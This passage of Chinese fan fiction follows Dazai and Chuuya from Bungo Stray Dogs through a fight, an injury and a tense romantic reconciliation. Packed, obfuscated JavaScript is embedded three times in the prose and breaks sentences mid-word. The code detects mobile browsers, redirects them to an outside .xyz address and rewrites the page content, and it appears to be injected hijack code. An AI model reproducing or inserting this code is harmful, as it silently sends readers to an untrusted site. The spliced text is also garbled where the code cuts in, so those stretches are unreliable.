“O”眼底浮现出带着冷漠的得意,那是猎人要将猎物一击毙命前才会有的表情。 同时,中也也察觉到了不对,尽管招式依旧凌厉,他的速度却以每次零点几秒的速度慢下来,同时力道也在减弱,肌肉产生缺氧时独有的酸疼,脸上刺痛感也愈加明显。 沿路的血液如有生命一样朝着中也汇聚,将他死死缠绕在包围圈内,接着,血液试探性地上涌,如同冤魂冲出地面,对着中也露出獠牙。 中也动作愈发缓慢,双脚像是被黏在地上一样动弹不得,他费劲挣扎,怒问: “混蛋,你要干什么!” “啊,真是的,明明是重力使让我留了这么多血!想知道我的血有什么用吗?呵,异能力——衔尾……” “异能力——人间失格。” 冷调又沙哑的少年声音在身后响起,中也脚下的血阵褪去,刚才还浓稠粘腻如有生命的血瞬间如潮水一样褪去,洇进地上的灰尘里,变成不起眼的深褐色一动不动。 噗呲—— 一把匕首从身后刺进他的心脏,下手的人面上云淡风轻,背后却使劲将蝴蝶刀拧个弯,心脏被绞成一团烂肉。 没了异能力,麻痹痛觉的毒素失效,伤口的疼痛一齐涌来,远非人类所能承受,仿佛有人顺着肌肉捣烂神经,“O”原本苍白从容地面上瞬间大汗如瀑。 “不对!不对,这怎么可能!”欧先生声音虚弱颤抖又满含怨恨地瞪着太宰,“你…你明明…已经…没有心跳了!” 太宰回了他一个温文尔雅的微笑:“诶?居然还有人不会控制自己的心跳吗,这种小事就算是废物也做得到吧?” 异能力无法发挥作用,或许是因为太宰的异能,哈,明明一年前他曾经试探过很多次,以为对方只是个没有异能力但脑子聪明得过分的普通人。 复苏能力无法生效,“O”第一次感受到了生命的流失,他回忆了和太宰合作后的一切,去往横滨,遇到太宰,在太宰帮助下回到意大利东山再起,最后死在和他有不共戴天之仇的重力使眼前。 电光石火间,欧先生猝然明白了为什么太宰会让他回到意大利,从一年前那场大战后,这一切就是一场精心策划的阴谋! 欧先生“哇”地吐出一大口鲜血,苦笑着吐出人生最后一句话:“你是……为了他,你这样的……人,也有……立场吗?” 声音微弱,几不可闻。 太宰也小声回答:“是的哦,沙包先生,你的使命结束了。” 说完,他玩味的神色瞬间变得冰冷,抽出蝴蝶刀瞬息间割断他的脖颈,阻止他再吐出什么秘密。 喷出的鲜血在空中洒出月牙弯度,和【衔尾蛇】首领一起在重力的作用下砸到尘埃中。 “咚”得一声,重物落地,尘埃落定。 低处没有风,只有明亮的月光照在两人之间,诺大的空间里依旧只有两个人的心跳。 太宰确定“O”死后,小心地把他的尸体挪到一边,搁置好后,又动作僵硬地悄悄朝着中也靠近。 中也大马金刀坐在一块巨大的断壁上,一条腿曲起踩在断壁上,另一条腿脚尖勾着一块石头撵来撵去,活像是踩着谁的头。 太宰顿住脚步,默默听着中也和部下打电话。 “嗯,这边一切都解决了,十分钟后带着人过来吧?给我十分钟,处理一个不听话的叛徒。” “叛徒”十分有自知之明,默默低头看着自己的脚尖,似乎整个人已经进入四大皆空的神游状态,往那一坐配个莲花就能当上真活佛。 中也把电话一撂,瞧见太宰乖巧站在原地等着批评的样子,嗤笑:“哟,我们伟大无私以身犯险的干部大人怎么在那站着呢,立了这么大功。……哈哈,真该把你的功绩做成报纸发给部下,说出去让人知道我们Mafia真是个伟大的组织,底下一堆武斗派不用,送个手无缚鸡之力的干部去死!” 黑色外套淋了水沾上灰,贴在消瘦高挑的人影上,乱蓬蓬的黑发称不上多飘逸,刚好遮住脸上的神情,脖颈,手臂,小腿,凡是裸露在外的皮肤上均是触目惊心的擦伤,一只手臂还软塌塌垂在身侧,走路时候一瘸一拐,看起来腿也断了一条。 街上的流浪汉都比此刻的太宰好得多。 自从把太宰接回家后,中也从没见太宰受过这么重的伤。 他喉咙一哑,差点说不上来话,又想起太宰在他不知道的地方已经当上了干部,那必然是一条充满黑暗与暴力的血路,在他看不见的地方,太宰受的伤只多不少。 但对方一次也没有说过,只会挑着些发烧了不舒服、没吃饭胃疼之类的小事来跟他撒娇。 这也的太宰站在他面前,中也好像透过那些他未曾在太宰身边的时光,看见了枪林弹雨浑身血淋淋却依旧笑着、什么也不告诉他的少年。 愤怒和心疼不知道那个更猛烈,完完全全占据中也的内心,烧干他的理智,他踩着粗鲁的步伐恶狠狠走过去,使劲帮太宰装上那条被卸下来的胳膊。 太宰低声叫他的名字,中也一脚踹过去把他踹翻在地。 “咳咳咳咳咳——”一连串咳嗽后,太宰费力想要起来,又被中也踩着胸膛给摁回去。 对方居高临下看着他,冷笑:“疼吗?不是一直都很想死吗,我今天就成全你!从小到大来来回回都是这一套把戏,一不如意就寻死觅活,谎话连篇讨人厌,真有本事你就滚到我看不见的地方!” 太宰嘴角缓缓流下一丝血迹,他避开对方冷漠的视线,平静道:“真是太糟糕了,听说这位【衔尾蛇】首领可以让人无痛死去我才来的哦,结果又遇见了中也这个讨厌的麻烦精,个子那么小管的那么多……” “……哈?”中也气笑了,抬脚对着他的脸来了一下,怒道,“谁乐意管你!你要是真想死,就别让我知道你干部的身份啊,分明是怕我不会来才这么做的吧?你以为我会不管太宰治,但是不会不管同为干部的同僚才选择暴露身份,是不是啊你这阴险混蛋!” “才不是!”太宰下意识反驳。 “你这家伙嘴里有一句实话吗?” “没有哦,反正中也肯定觉得我是个撒谎精吧?” “你难道不是吗?”中也蹲下来俯瞰他,很想照着那张吐不出象牙的狗嘴里来上一拳,他嗤笑道,“跟我有什么装的必要吗?我早知道你是个两面三刀处处算计处心积虑的人渣,凭着过分聪明的大脑恶劣地玩弄人心还从不悔改!你不一直是那样吗。” “呜哇,原来中也早就知道,那正好哦。说实话多没意思,还是谎话比较适合我们,中也这种级别的笨蛋耍起来最有意思了,而且,反正这么多年来你也不过是受了森先生的命令才留下我,咱们也早就相看两厌了不是吗,我真是受够了你暴力的性格、愚蠢的脑袋还有糟糕的做饭手艺……” 太宰一边说一边看中也的表情,对方已经气红了眼,估计等会就会狠狠给他一拳然后让他有多远滚多远吧。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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撂下这句话,他一把揭下太宰嘴上的医用胶布,慢吞吞道:“好了,你还有什么遗言要说吗?” 太宰愣愣摇了摇头。 “那你知道真心话要怎么说吗?” 太宰抿起嘴,依旧摇了摇头,却带着点希冀地看着中也。 中也顿感任重道远,但心里下定决心要教好小孩,硬着头皮道:“真心话就是,就算你不告诉我干部的身份,不用处处算计,只要你有危险,我就永远会无条件来救你。因为……因为当年是我把你带回来,我们之间的羁绊比任何人都要深,你那天说得对,你在我心里就是不一样。” 飞速说完这一句后,中也简直不敢面对太宰的脸,凶巴巴补了一句:“以后不准再对我撒谎了,不然我真的会让你滚蛋!” 这回太宰点了点头,认真道:“好哦,我会做到的,你也要说话算数。” “那当然了啊,我肯定……”中也心里越害羞面上越要佯装生气,他不耐烦挑眉,转换话题,“对了,刚才你和那个蛇男倒在一起后,为什么你没有心跳了,你真能控制心跳?” 太宰点点头:“真的哦,你要听听看吗?” 中也嘴上说着“真的假的”,身体已经很老实地弯下去,耳朵贴着对方的胸口。 心跳杂乱但有力,是活着的人才有的心跳声。 “骗人啊你!明明心跳很急促好不好。”语气虽然不耐但是带着笑,中也此时终于彻彻底底放下心来。 太宰也不反驳,反正控制心跳这种事,只要中也在就没有成功过,他只是想哄中也靠他近一点。 他们可是有一整天没有拥抱过了。 不过—— 太宰一手揽住中也的肩膀,一手暧昧地放在后腰往下,小声对中也耳语道:“中也,好像有人来了哦。” 而且已经来很久了。 中也身体僵硬一瞬,似乎想到什么,艰难地抬头往上看。 十几个武装齐全的Mafia围着大坑站了一圈,十几个脑袋屏息凝神如临大敌看着他们两个,三十多只眼睛充满了“完蛋了撞破了老大私情会不会被灭口”“哇老大居然带着叛徒在尸体旁边野战”之类的恐惧震惊兴奋好奇。 看见老大终于看见他们,领队的队长硬着头皮问道:“中原大人,请您吩咐任务。” 26.暧昧 泰山崩于眼前而色不变的中原大人此刻想找个地缝钻进去。 他脸上神色变了又变,青红轮番走过一遍,最后一咬牙从地上站起来,一脸严肃对着部下道:“现在下来,A组负责处理【衔尾蛇】成员尸体,B组打扫战场,不要留下Mafia的痕迹。随行医生过来,这里有伤员。” 安排好部下行动,那股子尴尬的氛围终于散开一点,中也从医生手里接过医疗箱,说了句“我来吧”,然后把受了重伤的太宰背在背上,借着升降梯离开战场。 进入单独的隔离车厢后,中也把他放在靠椅上,背过身去,语气依旧凶巴巴的:“自己清理一下,看起来好脏!” “中也语气好凶,我不要,伤口好疼。” “你……!”明知道这家伙是在撒娇,中也还没没办法不理他,他转身走过去蹲到太宰跟前,皱眉看着对方,“明知道疼你还胡来,疼死你……”算了! 话还没说完,太宰已经昏过去了,身体如狂风枝头的花摇晃两下,直直朝着中也倒过去。 “哎——”中也伸手接住他,对方头依偎在他的脖颈处,身体冰凉,呼吸清浅,“真是的,又晕过去了!” - 这次受伤后,太宰强烈表示不想住院,中也只好把他接回家里,任由对方霸占着自己的床还要每天费心照顾他。 不过长大后的太宰比小时候省事很多,只要中也往他旁边一坐就老实的不行,照顾起来没那么困难。 这几天观察下来,中也觉得太宰可能是误会了自己的感情,会不由自主想要接近他或许只是小时候没有教好罢了。 毕竟太宰从十二岁被他捡回来后,一直在围着他转,而中也实在不是个合格的家长,陪在对方身边的日子掰着手指头就能数过来。小孩一个人长这么大,没有谁真正教过他什么是亲情什么是爱情,所以他理所当然地把二者混为一谈,用书上电视上看到的方式表达亲近。 不管是太宰那变态的占有欲,还是不顾一切都要到他身边的想法,归根结底是自己没给他足够的安全感,不够重视对方的情感需求,是他这个家长不合格。 中也伸手拧开花洒,往自己身上涂抹沐浴露,心里暗暗决定不能再拖了,就今天吧。 等会出去好好跟太宰说话,告诉他亲人之间该怎么表达感情,告诉他自己和他之间的关系永远稳定不会改变。 另一边—— 太宰靠在床边,双手交叠脑后,静静听着浴室里的水声,已经想了七八个等中也出来怎么捉弄他的点子。 吱呀—— 门开了,赭发身影出现。 中也只在腰上围了一条围巾,或许是因为常年习惯冷水洗澡,那片瓷白的肌肤没有热水冲刷后该有的绯红,反而是玉一样的冷白,赭发没擦干,细小的水珠顺着修长的脖颈直直滚落到漂亮的肌肉上,再慢慢向下。 太宰的视线就随着那水珠向下,隐进天蓝色浴巾里。 中也似乎要离开房间,去客厅吹干头发。 “咳咳咳咳咳咳咳——”太宰忽然爆发出一阵惊天动地的咳嗽,让人怀疑下一秒他就要把肺腑给咳出来。 中也下意识回头,问道:“怎么了你这家伙?” “不知道。”太宰声音暗哑,拿捏了一个中也一定会心软的柔弱口吻,“可能这几天天冷,受凉了,好难受,头疼肚子疼全身都疼,我最讨厌疼了。” “啊?那你这病的很重啊!”中也面露担忧,抬腿朝着床边走来。 太宰低着头,视线里只能看见那双修长劲瘦的腿,行走间带出肌肉线条和若隐若现的青筋。 太宰知道被这双腿踹在身上的力度,只是它们平时被包裹在黑色西装裤下,如同雾里看花,远不如现在这样刺激。 中也已经走近,坐到床边,湛蓝的眼睛盯着太宰的脸。 视线相撞,鸢色眼睛率先移开,太宰微微偏过头,眼睛黏在对方淡色的嘴唇,修长的脖颈,小巧的喉结,玉一样冷白的胸膛,唯独不敢再看一眼那双动人的蓝色眼睛。 “你这脸红的吓人啊!刚才脸有这么红吗?”中也疑惑,随之转为担心,手心撩起对方额前黑发,贴上额头。 冰冷的手和滚烫的额头,正在汲取着彼此的温度。 “烫的吓人!”中也皱眉,伸手帮他拢好衣服,然后转身弯腰,打开床头柜最下层,准备找找温度计。 中也凑近时扑来的冷香骤然远离,太宰终于得以呼吸,目光心虚地在屋子里扫了一圈,余光却都是中也弯着的腰。 蝴蝶骨很美,居然还有腰窝,后背光洁冷白,就像一张画布,很适合在上面留下一点花一样的痕迹…… “好了!先量一量体温,……哎你往后退什么,做贼心虚一样。”中也狐疑,“趁我不在你这家伙又干了什么坏事?” 太宰只是被他突然的转身惊到,闻言一直低着头,决定把柔弱贯彻到底,毕竟中也很吃这一套。 他无力地接过温度计,放好位置后,嘶哑道:“没有哦,没干坏事,中也,我口渴。” “是吗?总感觉你在打什么坏主意一样。”中也嘟囔一句,踩着拖鞋去帮太宰倒水。 太宰迅速翻出暖贴,贴到胳膊内侧的绷带上,眼观鼻鼻观口,扮演中也最喜欢的漂亮哑巴。 中也回来时,看到的就是这样的画面,少年穿着柔软的居家服乖乖坐在床边,黑发柔顺地垂下,遮住鸢色眼睛,额前发尾里露出纤长睫毛,俊美的侧脸镀上一层昏黄灯光,薄唇抿着,似乎因为难受而不想说话。 直到太宰抬头朝他看来,中也才发现自己居然就这样盯着对方看了那么久,连忙调整呼吸走过去,若无其事将手里的水杯递过去。 “喏,给你,试试温度?这回应该是你这挑剔家伙会满意的38.7度。” 语气如常,但湛蓝色眼睛这回却没看太宰,而是盯着玻璃杯中的水,水面泛着细小涟漪。 太宰微微勾唇,伸手去接,滚烫的掌心有意无意擦过对方还带着凉意的手背。 水杯交替时,指尖也相吻。 中也藏不住事,连忙背过手,故作镇定:“对了,温度多少啊,发烧了吗?” 太宰微笑:“刚开始,还要一会呢,坐着歇歇吧,忙得没空接电话的干部大人。” “你给我打电话能有什么正经事?”中也磨牙,“肯定又是换着方法戏弄我!真是找揍。” 太宰委屈:“中也怎么又误会我!明明说好了,而且,万一是像现在这样受伤了生病了,中也也不管我吗?中也肯定不会管吧,只会暴力地揍我一拳,或者给我几枪,然后骂我是个撒谎精,让我有多远滚多远……” 这是又在计较那天的事了,中也很想吐槽难道你不是撒谎精吗,但太宰现在的语气实在有点可怜。 “知道了知道了。”中也不耐烦,“以后你这混蛋的电话我会接行了吧。” “那中也也不给我解释的机会就污蔑我……” “闭嘴!有完没完啦小心眼的青花鱼!”中也骂完,皱着脸补上一句,“……行了,我会给你个解释的机会的,如果你真的很冤枉的话。我保证听完你的鬼话再揍你。” “暴力狂。”太宰嘴上抱怨,笑意却从眼睛里划过。 “好了,温度计给我,这回一定好了!” 太宰一僵,和中也聊天总是会忘了时间,他刚才已经完全忘记了温度计的事。 见他不给,中也自己去拿,手下毫不留情扯开他的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14903200|159310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 衣服,有力的手掌探进衣服,指节捏住肩膀,肌肤相触带来战栗,太宰治第一次体会到触电般的头皮发麻,一时忘了抵抗。 中也已经背对着他仔细钻研温度计去了。 赭发已经不再滴水,低头时脖子后面有一块小小凸起,摸上去应该能感受到骨头的形状,再用力一点掐住细瘦的脖子,中也或许会涨红着脸,眼神迷离,向他求饶—— 中也才不会求饶,只会用那双有力的腿反击,把他踹到地上,居高临下对着他的脸来上一脚,踩着他的胸膛神采飞扬对他笑,问他改不改,不改就再来一脚。 那行动间中也腰上的浴巾会滑落吗? 中也光着身子踩他的时候会害羞吗? 太宰脸上露出愉悦的笑,觉得全身细胞都兴奋起来,手指情不自禁向前探去,先一点一点触碰着在他面前晃来晃去的白皙后背。 肌肉线条流畅,中也用力的时候应该会鼓起来。 然后慢慢向上,摸到那点凸起的骨头,手指用力——勾住中也的发尾。 中也留了一缕赭色长发,平时总是优雅侧垂在肩上,给那张甜美端庄的娃娃脸添上一点动人的风情。 这缕发丝现在就绕在太宰指尖,转啊转啊,紧紧缠上少年的手指,像是毒蛇缠上猎物,殊不知猎物只是个诱饵,这本来就是一出请君入瓮的戏,进来了就再也逃不开。 中也本人对此一无所知,他现在很苦恼。 他身体强健,甚少生病,从没用过温度计。 可他也不是不会看温度计的白痴啊! 他横看竖看,这个温度计的水银都明明白白顶到头,莫非太宰人是个怪胎,生起病来也格外严重,一烧就能把温度计烧满? “喂,太宰?”中也回头,发现少年离自己太紧了,嘴唇几乎要擦过他的面颊,“喂!你离我这么近干什么?你这家伙不会是要烧晕过去了吧!” 太宰只是鬼使神差想闻一闻那缕发丝的气息,没想到中也突然回头,缠在指尖的发丝散去,让他有点说不上来的情绪。 他和中也还要再近一点才行。 耳边传来中也的话,太宰佯装无力,细瘦的手撑着脑袋,身体微微晃了一下,一言不发朝着中也怀里倒去。 熟悉的香气扑鼻,太宰调整心跳和呼吸,手臂状似无意地揽住中也劲瘦细窄的腰,温热呼吸和柔软的唇勾引一样贴着中也的腹肌。 中也简直汗毛倒竖,扒拉着他的胳膊想把他提起来:“喂喂,你这混蛋不要倒我怀里啊!……别碰我的浴巾,要掉了啊混蛋,让我去换个衣服!” 他一手捂住浴巾,一手想像提溜黏人的小猫一样把太宰扔到床上,没提动。 太宰出声:“中也要带我去看病吗?我不要!我不要打针,好疼,也不吃药,好难吃!” “病死你算了!那你要干嘛?” “累,想休息,而且我身体很好的,睡一觉明天就好了哦。” 中也没回答,拎着太宰后领的手突然握住对方的脖子,然后探进衣服,扯松绷带摩挲他的肌肤,阴森森道:“确实呢,毕竟你这家伙生命力可恨的要命!这不,明明把温度计都要烧穿了,现在身体倒是一点也不烫了!真是厉害啊!明天我写个报道,叫十分钟能让发烧到四十二度的病人恢复正常,诺贝尔来了都特么要给我搬个医学奖。” 中也一边说,一边摁住那颗埋在自己腹部的脑袋,像是主人对待可爱的小猫一样,一下一下沿着发顶向下,抚摸着他的黑发,接近后颈时,陡然握紧,提起那颗脑袋,迫使鸢色眼睛看着自己的眼睛。 他轻轻挑眉,是太宰想象中神采飞扬的样子,嘴角勾着一抹笑,一字一句道: “嗯?你说是不是啊,撒谎精?” 27.拥抱 “撒谎精”身体僵硬一瞬,视线左顾右盼就是不看他,接着理直气壮道:“中也胡说八道。” “啊?”中也从鼻子里发出“哼”的笑音,“明明是你这家伙不坦诚吧!” “……嗯?是吗?撒谎总要有个动机吧,我为什么要对中也撒谎?” 中也不假思索顺着他的话往下接:“那当然是因为……”你想让我留下来陪你! 话没说完,中也若有所思,低头一瞥,果然看见了对方眼底的坏笑。 他笑骂:“好啊,你果然是想让我那么说吧,混蛋玩意,要什么不能好好说出来吗,你的花言巧语呢?” 太宰避开他的视线,心说我心里想的事情说出来肯定会吓到你,然后你肯定要炸毛乒乒乓乓揍我一顿骂我不知悔改。 还是让中也以为他只是单纯想要人陪着吧。 见人不说话,中也捏着后领把他平放到床上,抱臂嘲笑道:“还真是一点学不会坦诚啊!” 太宰对着中也眨眨眼,脑袋躺在鹅绒枕头里,一副恃宠而骄的模样,似乎有十足的把握就算什么都不说中也也会把他想要的送到他手上。 中也完全不吃这套,随手帮他掖了下被角就转身站起来,拖鞋踩在地板上发出闷闷的声音。 太宰以为他要走,下意识伸手拉住中也的手指,忙道:“别走,中也,我会说实话的!” 啪嗒—— 关灯的声音和太宰的尾音混成奇异的调子,昭示着夜晚的开始,四周是如同母亲温柔怀抱一样的黑暗,赋予胆小的孩子勇气。 一轮弯月挂在夜空,朝着大地洒下银色光辉,透过窗户不请自来照亮暗室,但静默室内最明亮的,是彼此的眼睛。 清亮拖鞋声响起,床发出吱呀一声塌陷下去,另一个人的体温靠近,握在手里的那只手,手骨很小,掌心温暖,安抚一样摩挲他的手背。 “我没想走,太宰,你说的话我都听到了,嘛,算你还有点良心!哈哈哈哈哈……” 太宰后悔地呻\吟两声,抬手捂住脸小声抱怨:“那你不要笑那么大声啊真是的!” 中也道:“知道了知道了,那么愉快的拷问时间开始了!” 太宰握紧他的手,声音闷闷的:“唔,那中也要问什么?我会说实话的哦,毕竟再说谎话中也真的会把我从家里扔出去的吧!真是一只霸道的坏小狗!问吧,这可是很难得的机会,世界上最伟大的骗术师即将背叛自己的灵魂,对世界上独一无二最最讨厌的人说实话……” 中也曲起两指敲了他一下,打断他的长篇大论,不然等会又要扯到什么“形而上学”“虚无主义”“死亡才是灵魂的解放”等等等等。 “呜哇——”“闭嘴!”“哦~” 什么时候才能改掉这种一紧张就胡说八道的毛病! 不知道是因为中也的打断,还是因为别的,太宰真的安静下来,翻了个身把脸埋在被子里,躺姿活像一条被放在油锅里的煎鱼。只有手还不老实,像小孩子找到了喜欢的玩具,一会挠挠中也的掌心一会捏捏中也的手指。 中也没注意到这些小事,正在认真思考要问什么。 实话说,他有很多很多事情想要问太宰,比如说你为什么会情不自禁亲我?你为什么总要用自毁的方式吸引我的注意?是不是我哪里没做好让你觉得被忽视了? 他自认对太宰的事情非常上心,他的责任心也不允许他对太宰置之不理,但电话里千叮咛万嘱咐,总是比不过这样面对面在对方身边,可以清晰地察觉到情绪变化,可以言传身教如何面对这个世界。 中也是个习惯从自己身上找问题的人,他觉得太宰这样敏感细腻又缺乏安全感的性格都是因为他自己没做好。 不过没关系,安全感这种东西太宰要多少他就能给多少。 中也思来想去,挑了个他最想知道的问题—— “太宰,你从十二岁起就给森先生打工了吗?” 太宰非常小声地叹了一口气,似乎知道这个话题注定无法逃避,默默松开他的手,两手撑着床坐起来,以非常少见的认真的眼神看着中也,道:“是哦,不过是我自愿的。抱歉,中也,我只是觉得你知道了这件事可能不开心,毕竟你最讨厌被骗。”他垂下眼帘,声音也渐渐低下去,“……我可以解释的,我只是——” 中也伸手捏住他的脸,嘴巴被挤成“O”形,剩下的字句全都变成了“呜呜咦咦”的无意识音节。 中也表情无奈:“道歉就免了,我已经揍过你了,这事就算翻篇。” 太宰懵懂地眨眨眼。 中也笑了:“……算了,少扯那些有的没的,把衣服脱了,绷带也解下来!” 太宰睁圆眼睛不可置信看着他。 中也服了:“想什么呢!混蛋!……让我看看你的伤!boss的性格我还是了解的,当上干部可不是什么跟小孩子过家家一样容易的事情!可以吗?这位黑手党最年轻的干部大人。” 太宰的表情出现了一秒的空白,似乎不理解中也为什么想要看这个,他下意识捂紧衣服,像守住一个不可见人的秘密,他就带着那样困惑的表情歪头看着中也:“中也也很早就当上干部了哦,而且中也比我大八岁,我完全不能回到过去了解中也的一切呢,这一点都不公平!” 中也疑惑:“那有什么好了解的,我体术可比你好得多,很少受伤。” “你骗人哦,”太宰将他围在腰间的浴巾掀开一点,手指向大腿内侧探去,摸到一处柔嫩的凹下去的肌肤才堪堪停住,语气好奇道,“这一处呢,是怎么受伤的?” 明明一直躺在被子里,不知道为什么指尖的温度比中也裸露在外的肌肤还低,何况伤口新长出的皮肤比其他地方更敏感,这么一摸,让他浑身汗毛都竖起来了,切实体会到了头皮发麻的感觉。 中也捉住那只在自己伤口处作恶的手,没打算敷衍太宰,但实在想不到这种小伤口是怎么来的,只好道:“或许是某次在战场上不小心吧,小伤口,一天不要就好了!” “骗人哦。”太宰的声音和他的体温一样冰凉,像是在压抑着什么,“是你刚来意大利的第一个月,一场宴会上被下了药,你为了让自己清醒一点,特意避开要害捅了大腿一刀。清理完敌人后迷\药发作,你就在床上躺了半天就又起来工作。” 太宰说的很详细,但中也调动全部脑细胞也没想起来是那次暗杀,毕竟刚来意大利那会遇到暗杀简直比呼吸还容易,何况大大小小的宴会数不胜数,光是尔虞我诈的商场就足够让中也筋疲力竭,实在没空注意这种小事。 他只好颇为认真一点头,摊开双手感叹道:“你看,确实不出半天就好了!” 太宰扭头低声哼了一声,完全不接他的茬。 啊,怎么又生气了! 中也扣住他的肩膀把人掰回来,有理有据跟他计较:“哪骗人了,明明就是个半天就好了的小伤口,不信明天去问问我哥、我的部下、我的朋友他们!” 太宰幽怨瞪了他一眼:“白痴中也,人类进化难道没有带上你吗,猿猴思考还知道拐个弯呢!说你蛞蝓都算抬举你了,你分明就是个草履虫!” 从人到猴到蛞蝓再到草履虫,中也的地位一降再降,眼看就要到了连单细胞生物都算不上的地步,他连忙叫停,在动口和动手之间选择了动脑—— “我既不是猴子也不是草履虫,猴子有很多毛发但是我没有,草履虫很小但我没那么小。” 太宰不咸不淡“哦~”了一声,赶在中也发火前点了点对方的腰,那里的肤色深浅不一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14909577|159310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,是很多细小伤口结痂脱落后导致的差异。 中也觉得那种熟悉的头皮发麻的感觉又回来了,真是奇怪,太宰的手指摸过的地方总是痒痒的麻麻的,活像是有细微的电流窜过,也像一把冷刃抵在喉间。 中也这次飞速摁住对方的手,不用屈打立马成招:“这个我记得,一些枪伤,当黑手党哪有不挨枪子儿的!而且,我的异能能挡住一大半,根本不用担心。” “哦,是吗?”太宰语气几乎称得上冷漠,皮笑肉不笑道,“如果干部大人觉得孤身一人面对三个异能小队、一百多位大口径狙击枪也算小事,那我真是无话可说。” 太宰是不是无话可说暂且不论,中也先被堵得哑口无言。 他想起来了。 这些伤在当时的情况下确实算严重,为了不让太宰担心,他花了好大功夫为不打电话不接视频找借口。 合着太宰全知道。 中也沉下脸,摆出一副生气模样:“太宰,是不是要先解释一下你这家伙为什么会知道这些事,我受伤可是属于最高级别的机密!” 太宰往床边一靠,丝毫没有躲闪地迎上中也的视线,轻轻吐出一句:“所以不跟我说,是怕我会跟敌方泄密咯!哎呀呀,真是为难死我们干部大人了,养了个叛徒在身边,整天以身饲虎,每天跟我打那么多电话,是不是说话前还要提防着我,当心不要把‘最高机密’说漏嘴啊?” 太宰等了三秒,没等到中也的反驳。 他冷笑一声,话语尖锐如刀:“那我可以告诉中也这个白痴哦,我知道的事情比中也以为的还要多。身为Mafia干部的你要怎么办,就地处决我这个叛徒吗?徒手掐死我?一枪崩了我?顺带一提,你旁边抽屉里有匕首有麻绳有毒药,选哪一种都可以哦!……或者要把我关到地牢里严刑拷打吗?唉——。港\黑对付叛徒那一套简直无聊透了,何况杀了我的人还是中也!”他的视线落到中也胸口,那里有一道非常明显的伤口,是匕首直刺进心脏留下的,“啊,听说去年和【衔尾蛇】对战的时候,对方首领的匕首还差一点点就插进你的心脏了,真是太可惜了,中也,连痛痛快快去死也要我教你吗?” 中也扬眉:“是啊,当时真是受了很重的伤,差一点就让你如愿了啊太宰!” 他一面说话,一面在对方震惊的目光中面不改色解开对方睡衣的扣子,“居然连这个都知道,真厉害,这五年统共就受了这么点重伤,结果某个混蛋比我还熟悉。看来你这家伙比我还担心我的生死啊,每天在家里眼巴巴盼着我的遗体什么时候送回横滨对不对?” 纽扣解开,睡衣滑落,绷带包裹的肌肉线条流畅优美,宛如卢浮宫的雕像,而绷带之下,是一具和他一样伤痕累累的躯体。 伤疤并不只代表痛苦,还有他们为靠近对方而走的路。 “但你说错了一点,太宰,你也不是无所不知嘛!匕首已经刺进心脏了,本来几秒内就该死亡,但我想到那天可是全世界我最讨厌的人的生日,用我的死亡当你的生日礼物,想也知道你肯定要笑得合不拢嘴了,我可没那么大度!所以我硬生生撑了几秒,等到我哥带来了治疗系异能者,我才活下来。” “懂了吗,凡是关于你这混蛋的事,在我这都要加个‘全世界最’的前缀。” 弯月已经悄悄西沉,暗室里像钻石一样闪闪发亮的水光在那只鸢色眼睛里。 中也笑了一声,抬手用大拇指抹去他眼角晶莹潮湿的水滴,难得温柔地补上一句:“那之后我在床上躺了快一周,直接错过你的生日,居然计较这么久?行了行了,我补上,祝十七岁的太宰治生日快乐,又老一岁,离死更近了,可喜可贺!” 说完,他对太宰张开双臂,挑衅道:“来吧,我允许你勒死我,——用拥抱。” 28.追求 太宰扑上来将中也整个人圈在怀里,手臂用力越收收紧,狠狠勒紧肉里,在这种力度的拥抱下,呼吸都成了困难的事情。 更何况太宰的体温一向偏低,中也简直觉得这不是拥抱,而是一条冰冷的毒蛇缠上猎物的身体,尖利的牙齿悄无声息刺破柔嫩的肌肤,释放足以麻痹大象的毒素,让他产生几分濒死的错觉。 他艰难喘息,低低笑起来:“真是一点…都不客气啊,太宰……你真要…勒死我吗?” 嘴上象征性抱怨两句,中也却依旧一动不动,他分明有直接掀飞对方的力量,却自愿又坦荡地任由对方困住自己,甚至把脆弱的后颈毫无防备暴露在对方面前。 态度简直称得上纵容。 被纵容的人似乎无知无觉,依旧言辞激烈:“是啊,中也,我这几年无时无刻不在想杀死你的方法,这样的场面我已经想象过几千次了。” 他的下巴放在中也右肩,说话时的气息如羽毛一样轻抚敏感的耳根,语气平静里压抑着阴沉,是很少见的认真的态度。 中也这才清晰认识到,太宰是真的非常想要杀了自己,至少此刻是这样。 拥抱太紧,呼吸困难,鬓发和额角都已经被汗水浸湿,晶莹的汗又顺着脸颊滴落在对方的肩膀,中也觉得自己下一秒就要因为窒息身亡。 堂堂重力使死法这么离奇,说出去也太丢人了! 不过,倒是可以确定一件事—— 中也愉悦地笑了起来,胸腔仅能发出气音,即使如此他也斩钉截铁道:“太宰,你真的很笨,你错了。” “哦,是吗?”太宰稍微松开一点,冷静道,“虽然知道这都是你死前的妄想,但我姑且听听你的理由。” 